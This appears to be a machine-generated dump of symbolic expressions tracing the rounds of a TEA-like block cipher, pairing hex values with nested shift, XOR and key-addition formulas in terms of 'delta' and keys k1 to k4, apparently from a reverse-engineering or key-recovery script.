('0x2175de85a', '((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))+(((((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))<<0x4)+k3)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))>>0x5)+k4)))<<0x4)+k1)^((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))<<0x4)+k3)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))>>0x5)+k4)))+0x11111108))^(((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))<<0x4)+k3)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))>>0x5)+k4)))>>0x5)+k2))')
('0x17f922c05', '((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))<<0x4)+k3)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))>>0x5)+k4)))+((((0x175de85a<<0x4)+k3)^(0x175de85a+(0x11111108+delta)))^((0x175de85a>>0x5)+k4)))+(((((0x175de85a+((((((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))<<0x4)+k3)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))>>0x5)+k4)))+((((0x175de85a<<0x4)+k3)^(0x175de85a+(0x11111108+delta)))^((0x175de85a>>0x5)+k4)))<<0x4)+k1)^(((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))<<0x4)+k3)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))>>0x5)+k4)))+((((0x175de85a<<0x4)+k3)^(0x175de85a+(0x11111108+delta)))^((0x175de85a>>0x5)+k4)))+(0x11111108+delta)))^((((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))<<0x4)+k3)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))>>0x5)+k4)))+((((0x175de85a<<0x4)+k3)^(0x175de85a+(0x11111108+delta)))^((0x175de85a>>0x5)+k4)))>>0x5)+k2)))<<0x4)+k3)^((0x175de85a+((((((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))<<0x4)+k3)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))>>0x5)+k4)))+((((0x175de85a<<0x4)+k3)^(0x175de85a+(0x11111108+delta)))^((0x175de85a>>0x5)+k4)))<<0x4)+k1)^(((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))<<0x4)+k3)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))>>0x5)+k4)))+((((0x175de85a<<0x4)+k3)^(0x175de85a+(0x11111108+delta)))^((0x175de85a>>0x5)+k4)))+(0x11111108+delta)))^((((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))<<0x4)+k3)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))>>0x5)+k4)))+((((0x175de85a<<0x4)+k3)^(0x175de85a+(0x11111108+delta)))^((0x175de85a>>0x5)+k4)))>>0x5)+k2)))+((0x11111108+delta)+delta)))^(((0x175de85a+((((((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))<<0x4)+k3)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))>>0x5)+k4)))+((((0x175de85a<<0x4)+k3)^(0x175de85a+(0x11111108+delta)))^((0x175de85a>>0x5)+k4)))<<0x4)+k1)^(((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))<<0x4)+k3)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))>>0x5)+k4)))+((((0x175de85a<<0x4)+k3)^(0x175de85a+(0x11111108+delta)))^((0x175de85a>>0x5)+k4)))+(0x11111108+delta)))^((((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))<<0x4)+k3)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))>>0x5)+k4)))+((((0x175de85a<<0x4)+k3)^(0x175de85a+(0x11111108+delta)))^((0x175de85a>>0x5)+k4)))>>0x5)+k2)))>>0x5)+k4))')
('0x24128629a', '(0x175de85a+((((((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))<<0x4)+k3)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))>>0x5)+k4)))+((((0x175de85a<<0x4)+k3)^(0x175de85a+(0x11111108+delta)))^((0x175de85a>>0x5)+k4)))<<0x4)+k1)^(((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))<<0x4)+k3)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))>>0x5)+k4)))+((((0x175de85a<<0x4)+k3)^(0x175de85a+(0x11111108+delta)))^((0x175de85a>>0x5)+k4)))+(0x11111108+delta)))^((((0x2cd286c5+((((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))<<0x4)+k3)^(((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))+0x11111108))^((((0x54c8bd30+((((0x5e4b3c01<<0x4)+k1)^(0x5e4b3c01+((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x5e4b3c01>>0x5)+k2)))+((((0x2cd286c5<<0x4)+k1)^(0x2cd286c5+(((((((((((((delta+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2cd286c5>>0x5)+k2)))>>0x5)+k4)))+((((0x175de85a<<0x4)+k3)^(0x175de85a+(0x11111108+delta)))^((0x175de85a>>0x5)+k4)))>>0x5)+k2)))+((((0x7f922c05<<0x4)+k1)^(0x7f922c05+((0x11111108+delta)+delta)))^((0x7f922c05>>0x5)+k2))')
('0x12cfddbd3', '0x4128629a+(((((0x7f922c05+((((0x4128629a<<0x4)+k3)^(0x4128629a+(((0x11111108+delta)+delta)+delta)))^((0x4128629a>>0x5)+k4)))<<0x4)+k1)^((0x7f922c05+((((0x4128629a<<0x4)+k3)^(0x4128629a+(((0x11111108+delta)+delta)+delta)))^((0x4128629a>>0x5)+k4)))+(((0x11111108+delta)+delta)+delta)))^(((0x7f922c05+((((0x4128629a<<0x4)+k3)^(0x4128629a+(((0x11111108+delta)+delta)+delta)))^((0x4128629a>>0x5)+k4)))>>0x5)+k2))')
('0x1f423cd80', '(0x7f922c05+((((0x4128629a<<0x4)+k3)^(0x4128629a+(((0x11111108+delta)+delta)+delta)))^((0x4128629a>>0x5)+k4)))+((((0x2cfddbd3<<0x4)+k3)^(0x2cfddbd3+((((0x11111108+delta)+delta)+delta)+delta)))^((0x2cfddbd3>>0x5)+k4))')
('0x1fe53ddb7', '0xf423cd80+(((((0x2cfddbd3+((((0xf423cd80<<0x4)+k1)^(0xf423cd80+((((0x11111108+delta)+delta)+delta)+delta)))^((0xf423cd80>>0x5)+k2)))<<0x4)+k3)^((0x2cfddbd3+((((0xf423cd80<<0x4)+k1)^(0xf423cd80+((((0x11111108+delta)+delta)+delta)+delta)))^((0xf423cd80>>0x5)+k2)))+(((((0x11111108+delta)+delta)+delta)+delta)+delta)))^(((0x2cfddbd3+((((0xf423cd80<<0x4)+k1)^(0xf423cd80+((((0x11111108+delta)+delta)+delta)+delta)))^((0xf423cd80>>0x5)+k2)))>>0x5)+k4))')
('0x211bc9ede', '0xfe53ddb7+((((((0x2cfddbd3+((((0xf423cd80<<0x4)+k1)^(0xf423cd80+((((0x11111108+delta)+delta)+delta)+delta)))^((0xf423cd80>>0x5)+k2)))+((((0xfe53ddb7<<0x4)+k1)^(0xfe53ddb7+(((((0x11111108+delta)+delta)+delta)+delta)+delta)))^((0xfe53ddb7>>0x5)+k2)))<<0x4)+k3)^(((0x2cfddbd3+((((0xf423cd80<<0x4)+k1)^(0xf423cd80+((((0x11111108+delta)+delta)+delta)+delta)))^((0xf423cd80>>0x5)+k2)))+((((0xfe53ddb7<<0x4)+k1)^(0xfe53ddb7+(((((0x11111108+delta)+delta)+delta)+delta)+delta)))^((0xfe53ddb7>>0x5)+k2)))+((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)))^((((0x2cfddbd3+((((0xf423cd80<<0x4)+k1)^(0xf423cd80+((((0x11111108+delta)+delta)+delta)+delta)))^((0xf423cd80>>0x5)+k2)))+((((0xfe53ddb7<<0x4)+k1)^(0xfe53ddb7+(((((0x11111108+delta)+delta)+delta)+delta)+delta)))^((0xfe53ddb7>>0x5)+k2)))>>0x5)+k4))')
